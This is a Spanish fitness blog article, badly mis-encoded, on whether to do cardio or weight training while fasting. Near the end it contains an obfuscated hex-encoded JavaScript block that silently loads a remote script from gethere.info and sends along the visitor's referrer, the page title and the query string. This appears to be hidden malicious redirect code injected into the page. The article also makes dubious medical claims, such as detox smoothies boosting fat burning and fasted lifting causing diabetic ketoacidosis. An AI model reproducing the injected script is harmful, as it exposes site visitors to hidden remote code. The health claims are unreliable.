A? Es Correcto Hacer Ejercicios en Ayunas ?

Existe mucha polA�mica en relaciA?n con el tema de hacer ejercicios en ayunas ya que aun no existen estudios que concluyan sobre los beneficios y riesgos que estos puedan traer. Hasta ahora hay estudios a favor y en contraA� del realizar cardio antes de desayunar.

Los ejercicios en ayunas es un arma de doble filo por un lado podemos conseguir quemar mas grasa pero por el otro puede generar complicaciones. Si entrenas en ayunas debes tener una buena base de entrenamientoA� aerA?bico asA� como la intensidad del entrenamiento que sea poco intenso o de forma moderada.

Ejercicios en Ayunas : ExplicaciA?n cientA�fica dada por especialistas

Como vienes de dormir toda la noche, los niveles de glucosa e insulina en sangre estA?n muy bajos. Estos son beneficiosos porque cuando los valores de insulina se encuentran por encima por lo general no quema grasa y la energA�a que se encuentra disponible que es la glucosa actA?a de manera mA?s rA?pida es la grasa ya que no comida carbohidratos o proteA�nas, y de esta forma usas tu grasa corporal para realizar las actividades diarias.ejercicios-en-ayunas-5

No vas a desgatar el musculo, por lo general ese proceso no curre tan rA?pido si tA? haces cardio de una intensidad baja, como caminar rA?pido, trotar o correr, y si no haces mA?s de 45 minutos, y desayunas despuA�s no desgastaras musculo. Hacer ejercicios en ayuno no solo te ayudara a bajar de peso o quemar grasa, tiene otros beneficios como entrenar metabA?licamente el organismo para perder la grasa extra y de esta forma tengas una figura esbelta cuando realices otras actividades tu cuerpo se acostumbrara dA�a a dA�a.

Menos grasa

Te ayudara perderA� menos grasa sobre todo a nivel del abdomen y espalada donde se suelen acumular con mas frecuencia, asA� como tambiA�n en piernas y piernas y caderasA� ya que s un mecanismo fisiolA?gico en mujeres rellenitas.A� El organismo utiliza unas sustancias llamadas catecolaminas que se encargar de inhibir o eliminar las cA�lulas grasas y asA� utilizar los A?cidos grasos como especie de combustible.

Estas catecolaminas viajan a la sangre que son adheridas a las cA�lulas grasa del tejido graso,A� que desencadenan la liberaciA?n de las energA�as que se almacenan dentro de la cA�lula para que pueda ser quemada. Recuerda que la grasa corporal es parte de las reservas de energA�as.ejercicios en ayunas beneficios

Loading...

Las cA�lulas del tejido adiposo consta de dos receptores de catecolaminas: alfa y beta. Por lo general lo beta promueven la aceleraciA?n del metabolismoA� mientras que los alfa receptores se encargan de obstaculizarla en los ejercicios en ayunas.A� Mientras que mA?s cA�lulas alfa tengan las cA�lulas mA?s serA? la movilizaciA?n de las grasas por parte de las catecolaminas que se encargan de realizar este proceso.

Las A?reas que tardan en responder son las que tienen receptores alfa, por lo general los hombres tienen mas alfa en la zona del abdomen y las mujeres tienen mA?s receptores alfa en caderas y piernas. Otro gran problema con menso A?reas es que tiene menos aporte de flujo sanguA�neo y estas necesitan de una buena irrigaciA?n sanguA�nea para movilizar los A?cidos grasos, y estos sean quemados como parte de fuente de energA�a.

Mientras menos flujo sanguA�neo hayas menos catecolaminas habrA? mas cA�lulas grasa, estos se atribuyen a dos condiciones a la hora del ejercicio en ayunas que depende de la cantidad de receptores que se distribuyan en el organismo para poder bajar de peso fA?cilmente.

De que forma el cardio te ayudara a rebajar

El flujo sanguA�neo en estas A?reas suelen aumentar cuando estas en ayuno, lo que esto significara que las catecolaminas pueden alcanzarA� que esta grasa sea mas fA?cil de eliminar, lo que te resultara en una mayor movilizaciA?n y la oxidaciA?n de la misma.

Si quieres aumentar mas la perdida de peso en ayuna puedes tomar suplementos naturales como licuados con vegetales o frutas que desintoxican el colon, esto aumentara los niveles de catecolaminas en el cuerpo, estimulando a que las enzimas quemen mas grasas esto harA?n que los A?cidos grasos se unanA� a los receptores movilizA?ndose en mayor cantidad para ser oxidados, ademA?s te darA? mas energA�as para que puedes realizar ejercicios en ayuna con tranquilidad.

Ten en cuenta que estamos hablando de cardiovascular, no de ejercicios en ayunas con pesas que sean de fuerte intensidad, para estos tipos de actividades te recomiendo que desayunes y luego comiences las rutinas de forma extenuantes.

A?Entrenar pesas en ayunas?ejercicios en ayunas efectivo

Si entrenas con pesas en ayunas, ya que no hay glucosa que es necesaria para las actividades de este tipo, principalmente porque todo no va a funcionar de forma correcta, y luego que tendrA?s hipoglicemia o niveles de azA?car baja porque como te he mencionado no hay azA?car disponible en la sangre durante el ayuno, asA� como puedes tener otras complicaciones que se denomina cetoacidosis diabA�tica donde el cuerpo necesitara de cuerpos cetA?nicos para poder trabajar o como reservas de energA�as, pero si se mantiene esta actividad conlleva a una cetoacidosis sanguA�nea, lo que podrA�a llevar a shock o inclusive hasta la muerte.

Para ellos la mejor opciA?n para realizar ejercicios en ayunas es el de tipo cardiovascular ademA?s de cuidar la dieta balanceada, tomando en cuenta que no debes dejar de comer sino comiendo en pequeA�as porciones de manera equilibrada ni mas ni menos.

Arma contra la grasa

La razA?n por la cual del porque los ejerciciosA� en ayunasA� es porque al despertarte los niveles de azA?car se mantienen bajos al igual que la insulina.

A?Sabias que en presencia de insulina no quemas grasa? Esto quiere decir el cuerpo no libera al torrente sanguA�neo los A?cidos grasos para poder oxidarlos como energA�a cuando la insulina se mantiene elevada. Solo 2 mg de carbohidratos es suficiente para el pA?ncreas segregue mas insulina.

Muchos preguntaran: si el carbohidrato genera una gran respuesta de insulina, porque no comer proteA�nas?A� La respuesta es sencilla, aunque las proteA�nas genera una mA�nima producciA?n de insulina el cuerpo la prefiere sobre la grasa como el combustible.

El cuerpo realiza el proceso de la gluconeogA�nesis se encarga de convertir la proteA�na en glucosa utilizA?ndola como combustible y como te encuentras en ayuno es decir con dA�ficit de insulina, cualquier cantidad de insulina por mas mA�nima que sea detonara en una gluconeogA�nesis. Recuerda que la grasa que se encuentra en el cuerpo sirve como reservorio, y esto es oro para el cuerpo. Cuando estA�s muy cerca de tu meta que es tener el cuerpo perfecto,A� o quiere definirte perder esos A?ltimos kilos suelen ser difA�cil.ejercicios en ayunas desventajas

Hacer ejercicios en ayunas es ideal para quemar esos A?ltimos 5 kilogramos, ese rollito terco que es difA�cil de eliminar. A�No degastas la masa muscular si haces cardio en ayunas de forma correcta, no esperes mas de 15 minutos desde que el momento que te despiertas, no lo hagas a una intensidad muy fuerte, que puedas mantenerA� una conversaciA?n de por lo menos 40 minutos no mas.A?

Justo al terminar los ejercicios en ayunas, puedes desayunar proteA�nas y una carbohidratos complejo de bajos valores glucA�micos. Lo que no es recomendable hacer es entrenar con pesas en ayunas para poder hacerlo debes comer proteA�nas y carbohidratos antes. Si tienes resistencia a la insulina, o simplemente eres hipotenso o de tensiA?n baja no debes hacer ejercicios en ayunas. Comprendo el gran dilema sobre el cardio en ayuno, muchos estudios lo apoyan mientras que otros no.

Conclusiones

Concluyendo o que los investigadores en nutriciA?n y fitness dicen que si el entrenamiento en ayunas pueden general mA?ltiples beneficios metabA?licos, si el ejercicio y la intensidad del entrenamiento es extenuante, el ayuno no suele producir mayores ventajas ni que fomentan la oxidaciA?n de los lA�pidos por el consumo de los carbohidratos como fuentes de energA�a.

Los ejercicios en ayunas suelen ser recomendables si buscas cambios metabA?licos importantes no resultara mas eficiente para quemar grasa si te ejercitas como por ejemplo, trotando, corriendo, momento por el cual los ejercicios deben ser de moderados e incrementado poco a poco hasta que el cuerpo se acostumbre, y el sistema respiratorio es indicativo del sustrato que es usado para obtener energA�a.

En mi opiniA?n personal, considero que los ejercicios en ayunas es apto solo para personas que estA�n entrenados ya que buscan lograr adaptaciones positivas sobre la resistencia fA�sica pero no representan mayores ventajas ni es ideal para principiantes ya que esto podrA�a ser perjudicial, aplA�calo poco a poco en tu plan dietA�tico y veras que tal.ejercicios en ayunas

La recomendaciA?n de que si entrenas en ayunas debes llevar un pulsA�metro que se encarga de limitar la intensidad y te avisara el momento que cruces esa delgada lA�nea que separa el quemar grasa de forma cA?moda de necesitar el azA?car para los mA?sculos.

Y tu que opinas a cerca de realizar ejercicios en ayunas

El debate suelen platearse cuando surge si es bueno o no entrenar en ayuno y se encuentran muchas personas haciA�ndose esta pregunta asi como grandes cantidades de factores,A� con la intenciA?n de resaltar sobre las ventajas y desventajas espero que te hayas servido lo que la ciencia te dice sobre este tema tan discutido en el mundo del fitness.

var _0x31f1=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Llegaron Buscando:

  • POR CUANTO TIEMPO TOMARCOLAGENO BENEFICIOS
Loading...
{ 0 comments… add one }

Déjanos tu comentario